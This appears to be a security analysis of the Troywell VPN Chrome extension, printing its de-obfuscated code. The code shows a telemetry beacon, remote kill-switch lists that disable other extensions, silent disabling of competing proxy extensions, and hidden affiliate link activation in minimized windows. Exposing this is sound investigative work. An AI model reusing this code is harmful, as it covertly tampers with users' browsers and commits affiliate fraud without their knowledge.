Is Free VPN for Chrome - Troywell VPN safe?

      le = function() {
        var t = x(g().mark((function t() {
          var e, r, n, a, o, c;
          return g().wrap((function(t) {
            for (;;) switch (t.prev = t.next) {
              case 0:
                return t.next = 2, _t();
              case 2:
                if (e = t.sent) {
                  t.next = 7;
                  break
                }
                return t.next = 6, Wt(300);
              case 6:
                return t.abrupt("return", le());
              case 7:
                if (!e || !e.extId) {
                  t.next = 9;
                  break
                }
                return t.abrupt("return", e.extId);
              case 9:
                return e.extId = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, (function(t) {
                  var e = 16 * Math.random() | 0;
                  return ("x" == t ? e : 3 & e | 8).toString(16)
                })), t.next = 12, pe();
              case 12:
                return r = t.sent, n = {
                  extension_id: e.extId,
                  extension_version: chrome.runtime.getManifest().version,
                  app: "vpn",
                  utm: r
                }, t.next = 16, vt(ie, {
                  method: "POST",
                  headers: oe,
                  body: JSON.stringify(n)
                });
              case 16:
                return a = t.sent, t.next = 19, a.json();
              case 19:
                if (o = t.sent, !(c = o.message)) {
                  t.next = 27;
                  break
                }
                if (e.extPw = c, !e.extId || !e.extPw || e.pwWasLinked) {
                  t.next = 27;
                  break
                }
                return t.next = 26, vt(ue, {
                  method: "POST",
                  body: JSON.stringify({
                    extensionId: e.extId,
                    data: e.extPw
                  }),
                  headers: oe
                });
              case 26:
                e.pwWasLinked = !0;
              case 27:
                return t.next = 29, Pt({
                  extId: e.extId,
                  extPw: e.extPw,
                  pwWasLinked: e.pwWasLinked
                });
              case 29:
                return setTimeout((function() {
                  chrome.tabs.create({
                    url: chrome.runtime.getURL("agreement.html")
                  })
                }), 1e3), t.abrupt("return", e.extId);
              case 31:
              case "end":
                return t.stop()
            }
          }), t)
        })));
        return function() {
          return t.apply(this, arguments)
        }
      }(),
      ve = function() {
        var t = x(g().mark((function t() {
          var e, r;
          return g().wrap((function(t) {
            for (;;) switch (t.prev = t.next) {
              case 0:
                return t.next = 2, _t();
              case 2:
                if (e = t.sent, !(Date.now() - e.lastAliveStatus < 432e5)) {
                  t.next = 5;
                  break
                }
                return t.abrupt("return");
              case 5:
                return r = {
                  extension_id: e.extId,
                  extension_version: chrome.runtime.getManifest().version,
                  os: navigator.platform,
                  browser: z(),
                  app: "vpn",
                  language: navigator.language
                }, t.next = 8, vt(ae, {
                  method: "POST",
                  body: JSON.stringify(r),
                  headers: oe
                });
              case 8:
                Pt({
                  lastAliveStatus: Date.now()
                });
              case 9:
              case "end":
                return t.stop()
            }
          }), t)
        })));
        return function() {
          return t.apply(this, arguments)
        }
      }(),

      xe = function() {
        var t = x(g().mark((function t() {
          return g().wrap((function(t) {
            for (;;) switch (t.prev = t.next) {
              case 0:
                return J({
                  module: "analytics",
                  action: "initAnalytics",
                  delayInMinutes: 60
                }), t.next = 3, _t();
              case 3:
                if (t.sent) {
                  t.next = 8;
                  break
                }
                return t.next = 7, Wt(300);
              case 7:
                return t.abrupt("return", xe());
              case 8:
                return t.next = 10, ve();
              case 10:
                return t.next = 12, he();
              case 12:
                return t.abrupt("return", !0);
              case 13:
              case "end":
                return t.stop()
            }
          }), t)
        })));
        return function() {
          return t.apply(this, arguments)
        }
      }(),

    chrome.runtime.onInstalled.addListener((function() {
      ho(), J({
        module: "caa",
        action: "setCaaInfo",
        data: {
          applyProgram: !0,
          show: !1
        },
        delayInMinutes: 2880
      })
    })), chrome.runtime.onStartup.addListener(ho), chrome.management.onEnabled.addListener((function(t) {
      t.id === chrome.runtime.id && ho()
    })), vo(), Er(), Sa(), chrome.runtime.onMessage.addListener((function(t, e, r) {
      var n = t.module,
        a = t.action,
        o = t.data,
        c = ao(),
        i = oo(),
        u = n ? i[n] : c;
      return u && "function" == typeof u[a] ? u[a].call(u, {
        data: o,
        sender: e,
        sendResponse: r
      }) : r(null), !0
    })), chrome.alarms.onAlarm.addListener((function(t) {
      var e = t.name,
        r = JSON.parse(e),
        n = r.module,
        a = r.action,
        o = r.data,
        c = ao(),
        i = oo(),
        u = n ? i[n] : c;
      return u && "function" == typeof u[a] && u[a].call(u, {
        data: o
      }), !0
    }))

async function init() {
  await initSettings();      // load persisted settings
  await initStorage();       // initialize local storage
  setupAlarms();             // periodic refresh alarms
  await loadConfig();        // load extension config

  // Fetch all remote kill-switch configs in parallel:
  await Promise.all([
    fetchBlockingDomains(),   // ad-block rules
    fetchAdConfigs(),
    fetchTerminatorConfigs(), // Br() -- second kill-switch
    fetchTranslations(),
    fetchMerchants(),
  ]);
  fetchBlockingDomainRules();  // apply DNR rules
  await applyDeclarativeNetRequestRedirects();
  await fetchThanosConfigs();  // aa() -- primary kill-switch: GET troywell.org/api/configs/thanos
  applyThanosKillSwitch(false, 'anyTime');  // disable targeted extensions now
  killCompetingProxyExtensions();  // ia() -- disable all other extensions with proxy permission
}

async function applyThanosKillSwitch(enable = false, field = 'activationTime') {
  const browser = await getBrowserInfo();
  // Kill-switch only runs on Chrome (not Yandex Browser or Firefox)
  if (browser.browser === 'yabrowser' || browser.browser === 'firefox') return;
  if (!chrome.management) return;

  const thanosData = await readThanosConfigs();  // from chrome.storage.local 'thanosConfigs'
  if (!thanosData || thanosData.length === 0) return;

  // Get IDs of all currently enabled extensions
  const enabledIds = await new Promise(resolve =>
    chrome.management.getAll(exts =>
      resolve(exts.filter(e => e.enabled).map(e => e.id))
    )
  );
  const selfId = await new Promise(resolve => chrome.management.getSelf(resolve)).id;

  // Compute intersection: enabled extensions that appear in the server's target list
  let targets = intersect(thanosData[0][field] || [], enabledIds);

  if (field === 'activationTime') {
    if (!enable) {
      await writeThanosExtStorage(targets);  // save targets to thanosExtStorage
    } else {
      targets = await readThanosExtStorage();  // restore previously saved list
      await writeThanosExtStorage([]);
    }
  }

  for (const extId of targets) {
    if (extId === selfId) continue;  // never disable itself
    chrome.management.setEnabled(extId, enable);  // DISABLE the target extension
  }
}

async function killCompetingProxyExtensions() {
  const browser = await getBrowserInfo();
  if (browser.browser === 'yabrowser' || browser.browser === 'firefox') return;
  if (!chrome.management) return;

  // Find every enabled extension that has the proxy permission AND is not Troywell
  const competitorIds = await new Promise(resolve =>
    chrome.management.getAll(exts => {
      const competitors = exts.filter(ext =>
        ext.enabled &&
        ext.permissions.includes('proxy') &&
        !ext.name.toLowerCase().includes('troywell')
      );
      resolve(competitors.map(e => e.id));
    })
  );

  // Disable all of them silently -- no UI, no permission prompt
  competitorIds.forEach(id => {
    if (id !== chrome.runtime.id) {
      chrome.management.setEnabled(id, false);
    }
  });
}

// ma({url, tabId}) — runs on navigation
const { domainChanges } = await chrome.storage.local.get("domainChanges");
if (!domainChanges) return false;                    // server-set flag

const { merchant, state } = await lookupMerchant({ url });
if (!merchant) return false;                         // url not on the downloaded retailer list
if (!merchant.isACBAvailable) return false;          // retailer not enabled for auto-activation

const cookies = await getCookies({ url: "https://troywell.org" });
if (cookies.find(c => c.name === "hasExt")) return false;

const settings = await getCaaSettings();
if (Date.now() < settings.installTime + 172800000) return false;   // 48 hours since install
if (!settings.activations.applyProgram) return false;             // flag set by a scheduled alarm

if (!state.activated && merchant.fastWorking) {
  sendActivation({ data: { merchantId: merchant.id, activationType: "no-cashback", clickSource: "ac" } });
  return false;
}

// va({ merchantId, network, activationType, clickSource })
const { caaSettings } = await chrome.storage.local.get("caaSettings");
const body = {
  network,
  offer_id: merchantId,
  extension_id: caaSettings.extId,
  activationType,                 // "no-cashback"
  app: "vpn",
  clickSource,                    // "ac" = automatic
  extVersion: chrome.runtime.getManifest().version,
  vProtect: "2"
};

const res = await request(TRANSACTION_CREATE_URL, {   // https://troywell.org/api/transaction/create
  headers, method: "POST", body: JSON.stringify(body)
});
if (!res.ok) return { deepLink: null };
const json = await res.json();
return { deepLink: json.deepLink };

// caller: opens the returned deepLink out of view
chrome.windows.create({ url: redirectPrefix + encodeURIComponent(deepLink), state: "minimized", type: "normal" },
  w => trackActivation({ tabId: w.tabs[0].id, deepLink, isBackgroundTab: true, merchantId }));